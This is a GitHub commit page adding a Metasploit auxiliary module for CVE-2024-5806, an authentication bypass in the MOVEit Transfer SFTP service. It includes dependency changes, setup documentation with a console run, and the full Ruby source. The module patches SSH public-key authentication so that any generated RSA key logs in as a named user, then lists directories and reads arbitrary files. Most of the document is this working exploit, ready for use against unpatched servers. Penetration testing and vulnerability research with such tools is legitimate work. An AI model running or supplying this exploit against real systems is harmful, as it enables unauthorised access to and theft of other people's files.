Skip to content

Commit f7902c2

Browse files
committed
Land rapid7#19295, MOVEit Transfer SFTP auth bypass
2 parents cc46ad7 + cb3966d commit f7902c2

File tree

5 files changed

+300
-0
lines changed

5 files changed

+300
-0
lines changed

Gemfile.lock

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -49,6 +49,7 @@ PATH
4949
nessus_rest
5050
net-imap
5151
net-ldap
52+
net-sftp
5253
net-smtp
5354
net-ssh
5455
network_interface
@@ -324,6 +325,8 @@ GEM
324325
net-ldap (0.19.0)
325326
net-protocol (0.2.2)
326327
timeout
328+
net-sftp (4.0.0)
329+
net-ssh (>= 5.0.0, < 8.0.0)
327330
net-smtp (0.5.0)
328331
net-protocol
329332
net-ssh (7.2.3)

LICENSE_GEMS

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -107,6 +107,7 @@ net-ldap, 0.19.0, MIT
107107
net-protocol, 0.2.2, "ruby, Simplified BSD"
108108
net-smtp, 0.5.0, "ruby, Simplified BSD"
109109
net-ssh, 7.2.3, MIT
110+
net-sftp, 4.0.0, MIT
110111
network_interface, 0.0.4, MIT
111112
nexpose, 7.3.0, "New BSD"
112113
nio4r, 2.7.3, "MIT, Simplified BSD"
Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
## Vulnerable Application
2+
This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The
3+
following version are affected:
4+
5+
* MOVEit Transfer 2023.0.x (Fixed in 2023.0.11)
6+
* MOVEit Transfer 2023.1.x (Fixed in 2023.1.6)
7+
* MOVEit Transfer 2024.0.x (Fixed in 2024.0.2)
8+
9+
The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing
10+
the contents of a directory, and the reading of an arbitrary file.
11+
12+
Read our AttackerKB [Rapid7 Analysis](https://attackerkb.com/topics/44EZLG2xgL/cve-2024-5806/rapid7-analysis)
13+
for a full technical description of both the vulnerability and exploitation.
14+
15+
## Testing
16+
1. Installation requires a valid trial license that can be obtained by going here:
17+
https://www.ipswitch.com/forms/free-trials/moveit-transfer
18+
2. Ensure that your computer has internet access for the license to activate and double-click the installer.
19+
3. Follow installation instructions for an evaluation installation.
20+
4. After the installation completes, follow the instructions to create an sysadmin user.
21+
5. Log in as the sysadmin and create a new Organization (e.g. `TestOrg`).
22+
6. In the `Home` section, click the "Act as administrator in the TestOrg organization" button.
23+
7. In the `Users` section, create a new normal user (e.g. `testuser1`) in the new Organization.
24+
8. In the `Folders` section, navigate to the `testuser1` Home folder and create some files and folders.
25+
9. The SFTP service will be running by default. No further configuration is required.
26+
27+
## Verification Steps
28+
29+
1. Start msfconsole
30+
2. `use auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806`
31+
3. `set RHOST <TARGET_IP_ADDRESS>`
32+
4. `set STORE_LOOT false`
33+
5. `set TARGETUSER <TARGET_USERNAME>` (Must be a valid username on the target server, for example `testuser1`)
34+
6. `set TARGETFILE /`
35+
7. `check`
36+
8. `run`
37+
38+
## Options
39+
40+
### STORE_LOOT
41+
Whether the read file's contents should be stored as loot in the Metasploit database. If set to false, the files
42+
content will be displayed in the console. (default: true).
43+
44+
### TARGETUSER
45+
A valid username to authenticate as. (default: nil).
46+
47+
### TARGETFILE
48+
The full path of a target file or directory to read. If a directory path is specified, the output will be the
49+
directories contents. If a file path is specified, the output will be the files contents. In order to learn
50+
what files you can read, you can first read the root directories (/) contents. (default: /).
51+
52+
## Scenarios
53+
54+
### Default
55+
56+
```
57+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set RHOST 169.254.180.121
58+
RHOST => 169.254.180.121
59+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set STORE_LOOT false
60+
STORE_LOOT => false
61+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set TARGETUSER testuser1
62+
TARGETUSER => testuser1
63+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > show options
64+
65+
Module options (auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806):
66+
67+
Name Current Setting Required Description
68+
---- --------------- -------- -----------
69+
RHOSTS 169.254.180.121 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
70+
RPORT 22 yes The target port
71+
STORE_LOOT false no Store the target file as loot
72+
TARGETFILE / yes The full path of a target file or directory to read.
73+
TARGETUSER testuser1 yes A valid username to authenticate as.
74+
75+
76+
View the full module info with the info, or info -d command.
77+
78+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run
79+
[*] Running module against 169.254.180.121
80+
81+
[*] Authenticating as: [email protected]:22
82+
[*] Listing directory: /
83+
dr-xr-xr-x 1 0 0 0 Jun 23 16:19 /Home/
84+
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/
85+
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/TestFolder1/
86+
-rw-rw-rw- 1 0 0 8 Jun 18 22:50 /Home/testuser1/test.txt
87+
[*] Auxiliary module execution completed
88+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run TARGETFILE=/Home/testuser1/test.txt
89+
[*] Running module against 169.254.180.121
90+
91+
[*] Authenticating as: [email protected]:22
92+
[*] Downloading file: /Home/testuser1/test.txt
93+
secrets!
94+
[*] Auxiliary module execution completed
95+
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) >
96+
```

metasploit-framework.gemspec

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -152,6 +152,7 @@ Gem::Specification.new do |spec|
152152
spec.add_runtime_dependency 'net-imap' # Used in Postgres auth for its SASL stringprep implementation
153153
spec.add_runtime_dependency 'net-ldap'
154154
spec.add_runtime_dependency 'net-smtp'
155+
spec.add_runtime_dependency 'net-sftp'
155156
spec.add_runtime_dependency 'winrm'
156157

157158
#
Lines changed: 199 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,199 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
require 'net/ssh/transport/session'
6+
require 'net/sftp'
7+
require 'openssl'
8+
9+
class MetasploitModule < Msf::Auxiliary
10+
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Progress MOVEit SFTP Authentication Bypass for Arbitrary File Read',
18+
'Description' => %q{
19+
This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The
20+
following version are affected:
21+
22+
* MOVEit Transfer 2023.0.x (Fixed in 2023.0.11)
23+
* MOVEit Transfer 2023.1.x (Fixed in 2023.1.6)
24+
* MOVEit Transfer 2024.0.x (Fixed in 2024.0.2)
25+
26+
The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing
27+
the contents of a directory, and the reading of an arbitrary file.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' => [
31+
'sfewer-r7' # MSF Module & Rapid7 Analysis
32+
],
33+
'References' => [
34+
['CVE', '2024-5806'],
35+
['URL', 'https://attackerkb.com/topics/44EZLG2xgL/cve-2024-5806/rapid7-analysis'] # AttackerKB Rapid7 Analysis.
36+
],
37+
'DisclosureDate' => '2024-06-25',
38+
'Notes' => {
39+
'Stability' => [CRASH_SAFE],
40+
'SideEffects' => [IOC_IN_LOGS],
41+
'Reliability' => []
42+
}
43+
)
44+
)
45+
46+
register_options(
47+
[
48+
Opt::RHOST,
49+
Opt::RPORT(22),
50+
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]),
51+
OptString.new('TARGETUSER', [true, 'A valid username to authenticate as.', nil]),
52+
OptString.new('TARGETFILE', [true, 'The full path of a target file or directory to read.', '/']),
53+
Opt::Proxies
54+
]
55+
)
56+
end
57+
58+
# This method will be used by net/ssh when creating a new TCP socket. We need this so the net/ssh library will
59+
# honor Metasploit's network pivots, and route a connection through the expected session if applicable.
60+
def open(host, port, _connection_options = nil)
61+
vprint_status("Creating Rex::Socket::Tcp to #{host}:#{port}...")
62+
Rex::Socket::Tcp.create(
63+
'PeerHost' => host,
64+
'PeerPort' => port,
65+
'Proxies' => datastore['Proxies'],
66+
'Context' => {
67+
'Msf' => framework,
68+
'MsfExploit' => self
69+
}
70+
)
71+
end
72+
73+
def check
74+
# Our check method will establish an unauthenticated connection to the remote SFTP (which is an extension of SSH)
75+
# service and we pull out the servers version string.
76+
transport = ::Net::SSH::Transport::Session.new(
77+
datastore['RHOST'],
78+
{
79+
port: datastore['RPORT'],
80+
# Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.
81+
proxy: self
82+
}
83+
)
84+
85+
ident = transport.server_version.version
86+
87+
# We test the SSH version string for a known value of MOVEit SFTP.
88+
return Msf::Exploit::CheckCode::Safe(ident) unless ident == 'SSH-2.0-MOVEit Transfer SFTP'
89+
90+
# We cannot get a product version number, so the best we can do is return Detected.
91+
Msf::Exploit::CheckCode::Detected(ident)
92+
rescue ::Rex::ConnectionRefused
93+
Msf::Exploit::CheckCode::Unknown('Connection Refused')
94+
rescue ::Rex::HostUnreachable
95+
Msf::Exploit::CheckCode::Unknown('Host Unreachable')
96+
rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout
97+
Msf::Exploit::CheckCode::Unknown('Connection Timeout')
98+
end
99+
100+
def run
101+
# We want to change the behaviour of the build_request method. So first we alias the original build_request
102+
# method, so we can restore it later, as other things in MSF may use Net::SSH, and will expect normal behaviour.
103+
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :orig_build_request, :build_request)
104+
105+
# Define the new behaviour. We exploit CVE-2024-5806 by supplying an invalid username (like an empty string) upon
106+
# the initial publickey auth request, then when sending the signature response to the server, we provide the username
107+
# of the valid user account we want to authenticate as.
108+
::Net::SSH::Authentication::Methods::Publickey.send(:define_method, :build_request) do |pub_key, username, next_service, alg, has_sig|
109+
orig_build_request(pub_key, has_sig ? username : '', next_service, alg, has_sig)
110+
end
111+
112+
print_status("Authenticating as: #{datastore['TARGETUSER']}@#{datastore['RHOST']}:#{datastore['RPORT']}")
113+
114+
# With ::Net::SSH::Authentication::Methods::Publickey monkey patched above, we can trigger the auth bypass and get
115+
# back a valid SFTP session which we can interact with.
116+
::Net::SFTP.start(
117+
datastore['RHOST'],
118+
datastore['TARGETUSER'],
119+
{
120+
port: datastore['RPORT'],
121+
auth_methods: ['publickey'],
122+
# The vulnerability allows us to supply any well formed RSA key and it will be accepted. So we generate a new
123+
# key (in PEM format) every time we exploit the vulnerability.
124+
key_data: [OpenSSL::PKey::RSA.new(2048).to_pem],
125+
# Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.
126+
proxy: self
127+
}
128+
) do |sftp|
129+
if File.directory? datastore['TARGETFILE']
130+
print_status("Listing directory: #{datastore['TARGETFILE']}")
131+
132+
sftp.dir.glob(datastore['TARGETFILE'], '**/*') do |entry|
133+
# When we print the entry, we want to print the full path for each entry, so that further use of this module
134+
# can set the TARGETFILE correctly to the full path of a target file. The longname will contain (along with
135+
# permission, sizes and timestamps) a file/dir name but no path information. As we are using glob to
136+
# recursively list the contents of all sub folders, we reconstitute the full path for every entry before
137+
# printing it.
138+
entry_full_path = File.join(datastore['TARGETFILE'], entry.name)
139+
140+
print_line(entry.longname.gsub(File.basename(entry.name), entry_full_path))
141+
end
142+
else
143+
print_status("Downloading file: #{datastore['TARGETFILE']}")
144+
145+
read_file(sftp, datastore['TARGETFILE'])
146+
end
147+
end
148+
rescue ::Net::SFTP::StatusException
149+
print_error('SFTP Status Exception.')
150+
rescue ::Net::SSH::AuthenticationFailed
151+
print_error('SFTP Authentication Failed. Is TARGETUSER a valid username?')
152+
rescue ::Rex::ConnectionRefused
153+
print_error('SFTP Connection Refused.')
154+
rescue ::Rex::HostUnreachable
155+
print_error('SFTP Host Unreachable.')
156+
rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout
157+
print_error('SFTP Connection Timeout.')
158+
ensure
159+
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :build_request, :orig_build_request)
160+
end
161+
162+
def read_file(sftp, file_path)
163+
sftp.open!(file_path) do |open_response|
164+
unless open_response.ok?
165+
print_error('SFTP open failed. Is the TARGETFILE path correct?')
166+
break
167+
end
168+
169+
file_size = sftp.fstat!(open_response[:handle]).size
170+
171+
sftp.read!(open_response[:handle], 0, file_size) do |read_response|
172+
unless read_response.ok?
173+
print_error('SFTP read failed.')
174+
break
175+
end
176+
177+
file_data = read_response[:data].to_s
178+
179+
if datastore['STORE_LOOT']
180+
print_status('Storing the file data to loot...')
181+
182+
store_loot(
183+
file_path,
184+
file_data.ascii_only? ? 'text/plain' : 'application/octet-stream',
185+
datastore['RHOST'],
186+
file_data,
187+
datastore['TARGETFILE'],
188+
'File read from Progress MOVEit SFTP server'
189+
)
190+
else
191+
print_line(file_data)
192+
end
193+
end
194+
ensure
195+
sftp.close!(open_response[:handle]) if open_response.ok?
196+
end
197+
end
198+
199+
end

0 commit comments

Comments
 (0)